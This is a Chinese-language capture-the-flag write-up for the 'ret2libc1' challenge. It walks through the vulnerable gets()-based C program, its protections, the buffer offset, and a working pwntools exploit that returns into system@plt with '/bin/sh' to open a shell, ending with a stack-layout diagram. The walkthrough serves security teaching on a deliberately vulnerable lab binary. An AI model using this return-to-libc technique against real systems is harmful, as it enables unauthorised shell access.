题目路径:
/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1
一、原理
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址
看C代码
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char *shell = "/bin/sh";
char buf2[100];
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("shell!?");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("RET2LIBC >_<\n");
gets(buf1);
return 0;
}
二、程序分析
checksec检查一下程序的保护机制
$ checksec ret2libc1
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序开启了NX保护,不能自己构造shellcode插入到栈中,也不能利用跳转,那么就需要使用系统自带的函数或者使用gadget进行溢出,IDA查看一下伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}
依然还是gets函数,存在溢出点。v4变量距离esp指针0x1c,距离ebp指针0x64,所以v4其实地址距离ret返回地址0x6c+4个字节
在不显示源码的情况下,可以通过ROPgadget工具查看是否存在’/bin/sh’字符串
hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
发现程序中存在’/bin/sh’字符串并获得地址,如果只有’/bin/sh’是不够的,在不使用gadget的情况下需要查找远程序中是否由system函数,让system函数执行binshell,使用IDA查看程序
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system proc near ; CODE XREF: secure+44p
.plt:08048460 jmp ds:off_804A018
.plt:08048460 _system endp
发现在.plt中存在system函数,但需要考虑的是调用plt中的函数时需要在栈中部署两个参数,首先第一个是system执行后的返回地址,第二个是system函数中的参数。
三、EXP
下面写exp:
from pwn import *
sh = process('./ret2libc1')
bin_sh = 0x08048720
system_plt = 0x08048460
payload = flat(['hollkdig'*14, system_plt, 'holk', bin_sh])
sh.sendline(payload)
sh.interactive()
四、栈布局
payload在栈中的部署:
+---------------------------+
| bin_sh | 部署bin_sh作为systemcall的参数
+---------------------------+
| holk | 部署holk作为systemcall函数的返回地址
+---------------------------+
| system_plt | 执行system_plt,覆盖原ret返回位置
+---------------------------+
| kdig | kdig覆盖原saved ebp位置
ebp--->+---------------------------+
| holl | hollkdig占位填满栈空间
| .... | ......
| kdig | hollkdig占位填满栈空间
| holl | hollkdig占位填满栈空间
| kdig | hollkdig占位填满栈空间
| holl | hollkdig占位填满栈空间
v4终止位置,ebp-0x64-->+---------------------------+